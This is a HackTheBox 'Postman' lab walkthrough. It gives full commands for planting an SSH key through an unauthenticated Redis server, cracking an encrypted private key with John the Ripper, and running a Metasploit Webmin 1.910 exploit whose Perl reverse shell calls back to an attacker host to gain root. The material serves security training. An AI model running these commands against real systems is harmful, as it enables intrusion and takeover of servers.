Logo
Overview
Postman (HackTheBox)
Operating SystemDifficultyMachine Link
EasyPostman

Attack Chain

  • Initial Access: Exploiting unauthenticated Redis service to write SSH public key to /var/lib/redis/.ssh/authorized_keys and gain access as the redis user.
  • Lateral Movement: Discovering an encrypted SSH private key belonging to user Matt in /opt/id_rsa.bak, cracking it with John the Ripper to obtain the passphrase computer2008.
  • Privilege Escalation: Bypassing the DenyUsers Matt SSH restriction by exploiting Webmin 1.910 authenticated RCE vulnerability (CVE-2019-12840) using Matt’s credentials to gain root access.

Machine Enumeration

Nmap

Terminal window
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
6379/tcp open redis syn-ack ttl 63
10000/tcp open snet-sensor-mgmt syn-ack ttl 63

Web Enumeration Port 80

Website Page After enumerating the web service, I found no exploitable results. This appears to be a static website with no obvious attack vectors.

Redis Enumeration Port 6379

Based on the nmap scan results, I discovered an interesting service running on port 6379 - Redis. This could serve as an attack vector, so I began with enumeration.

Nmap enumeration:

Terminal window
$ nmap -sVC -p 6379 10.129.2.1 -vv
PORT STATE SERVICE REASON VERSION
6379/tcp open redis syn-ack ttl 63 Redis key-value store 4.0.9

Since I wasn’t familiar with Redis, I researched Redis enumeration techniques and found a helpful resource: https://hackviser.com/tactics/pentesting/services/redis

We can connect to Redis without authentication:

Terminal window
$ redis-cli -h 10.129.7.146
10.129.7.146:6379>

After enumeration, I identified that we can perform SSH Key Injection attacks against Redis.

https://hackviser.com/tactics/pentesting/services/redis#ssh-key-injection

The approach involves storing our SSH public key in the target system, after which we can authenticate using our private key.

Shell as redis

  1. Generate SSH RSA key pair with ssh-keygen:
Terminal window
$ ssh-keygen -t rsa -f redis
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in redis
Your public key has been saved in redis.pub

Note: You can set a passphrase or leave it empty. If you set one, you’ll need to provide it when logging in via SSH (not the target machine’s password).

  1. Convert our public key with additional newlines:
Terminal window
$ (echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > key.txt
  1. Store the files and set filename to authorized_keys:
Terminal window
$ cat key.txt | redis-cli -h 10.129.7.146 -x set ssh_key
$ redis-cli -h 10.129.7.146 config set dbfilename authorized_keys
  1. Set the directory where the file will be stored:
Terminal window
$ redis-cli -h 10.129.7.146 config set dir /<user_home>/.ssh/

Note: (user_home) refers to the home directory of the user, such as /home/ubuntu/, /root/, /home/maul/ According to the website: https://hackviser.com/tactics/pentesting/services/redis#ssh-key-injection We’re provided with several user home folder options, and Redis has a default home folder:

/var/lib/redis/ So we can save the authorized_keys file in /var/lib/redis/.ssh like this:

Terminal window
$ redis-cli -h 10.129.7.146 config set dir /var/lib/redis/.ssh/
  1. Finally, save the configuration:
Terminal window
$ redis-cli -h 10.129.7.146 save

Finally, we can attempt to log in with our private key to access the target system as the redis user:

Terminal window
$ chmod 400 redis
$ ssh -i redis redis@10.129.7.146

Redis SSH Success

Privilege Escalation

Local Enumeration

First, I checked which users exist in the system by examining the home folders in /home:

Terminal window
$ redis@Postman:~$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Sep 11 2019 .
drwxr-xr-x 22 root root 4096 Aug 25 2019 ..
drwxr-xr-x 6 Matt Matt 4096 Sep 11 2019 Matt

Alternatively, we can check /etc/passwd for users with shells:

Terminal window
$ redis@Postman:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
Matt:x:1000:1000:,,,:/home/Matt:/bin/bash
redis:x:107:114::/var/lib/redis:/bin/bash

We can see that there’s another user in the system named Matt. Let’s check their home folder:

Terminal window
$ redis@Postman:~$ ls -la /home/Matt
total 52
drwxr-xr-x 6 Matt Matt 4096 Sep 11 2019 .
drwxr-xr-x 3 root root 4096 Sep 11 2019 ..
-rw------- 1 Matt Matt 1676 Sep 11 2019 .bash_history
-rw-r--r-- 1 Matt Matt 220 Aug 25 2019 .bash_logout
-rw-r--r-- 1 Matt Matt 3771 Aug 25 2019 .bashrc
drwx------ 2 Matt Matt 4096 Aug 25 2019 .cache
drwx------ 3 Matt Matt 4096 Aug 25 2019 .gnupg
drwxrwxr-x 3 Matt Matt 4096 Aug 25 2019 .local
-rw-r--r-- 1 Matt Matt 807 Aug 25 2019 .profile
-rw-rw-r-- 1 Matt Matt 66 Aug 26 2019 .selected_editor
drwx------ 2 Matt Matt 4096 Aug 26 2019 .ssh
-rw-rw---- 1 Matt Matt 33 Dec 27 13:52 user.txt
-rw-rw-r-- 1 Matt Matt 181 Aug 25 2019 .wget-hsts

Based on the permissions, we cannot access Matt’s home folder.

Let’s search for other information:

Terminal window
$ redis@Postman:~$ ls -la /opt
total 12
drwxr-xr-x 2 root root 4096 Sep 11 2019 .
drwxr-xr-x 22 root root 4096 Aug 25 2019 ..
-rwxr-xr-x 1 Matt Matt 1743 Aug 26 2019 id_rsa.bak

The /opt directory typically contains external application installations, but here we can see a backup file for a private key belonging to Matt.

Terminal window
$ redis@Postman:/opt$ cat id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C
JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----

The private key appears to be encrypted, but we can crack it with John the Ripper. First, we need to convert the private key for John:

Terminal window
$ ssh2john.py matt.idrsa
matt.idrsa:$sshng$0$8$73E9CEFBCCF5287C$1192$25e840e75235eebb0238e56ac96...[snip]...
Terminal window
$ ssh2john.py matt.idrsa > matt.hashes
$ john --wordlist=`fzf-wordlists` matt.hashes
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
computer2008 (matt.idrsa)
1g 0:00:00:00 DONE (2025-12-27 21:41) 12.50g/s 3085Kp/s 3085Kc/s 3085KC/s copper04..comett

The passphrase was successfully recovered as computer2008. We can now attempt to log in via SSH with Matt’s private key using the passphrase we obtained from John the Ripper:

Terminal window
$ ssh -i matt.idrsa Matt@10.129.7.146
Enter passphrase for key 'matt.idrsa':
Connection closed by 10.129.7.146 port 22
On the target machine:
redis@Postman:/tmp$ ssh -i matt_idrsa Matt@localhost
Enter passphrase for key 'matt_idrsa':
Connection closed by ::1 port 22

Both attempts failed.

After examining the SSH configuration, I found the reason for the failed login attempts:

Terminal window
$ cat /etc/ssh/sshd_config | grep -v "#" | grep .
Port 22
PermitRootLogin yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2
PasswordAuthentication yes
ChallengeResponseAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
DenyUsers Matt
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server

The SSH configuration contains the option DenyUsers Matt, which prevents us from logging in as the Matt user via any method.

Webmin Exploitation

Let’s revisit the nmap scan results, which showed another open port - port 10000 for Webmin.

Webmin Enumeration Port 10000

Terminal window
10000/tcp open http syn-ack ttl 63 MiniServ 1.910 (Webmin httpd)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 066AF1F6A59FCB67495B545A6B81F371
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).

Webmin page I attempted to log in with the credentials we obtained: Matt:computer2008 Login success

Login was successful with the credentials obtained earlier. Nmap identified the version of the Webmin application, and I had previously exploited this version, so I knew that Webmin 1.910 has an authenticated RCE vulnerability.

Terminal window
$ searchsploit "Webmin 1.9.10"
Webmin < 1.920 - 'rpc.cgi' Remote Code Execution (Metasploit)

Final Metasploit options became:

Terminal window
msf exploit(linux/http/webmin_packageup_rce) > options
Module options (exploit/linux/http/webmin_packageup_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD computer2008 yes Webmin Password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, http, sapni, socks4
RHOSTS 10.129.7.146 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 10000 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path for Webmin application
USERNAME Matt yes Webmin Username
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.71 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Webmin <= 1.910

Webmin exploit success The Webmin exploit was successful, and we obtained a root shell, successfully compromising the Postman machine :)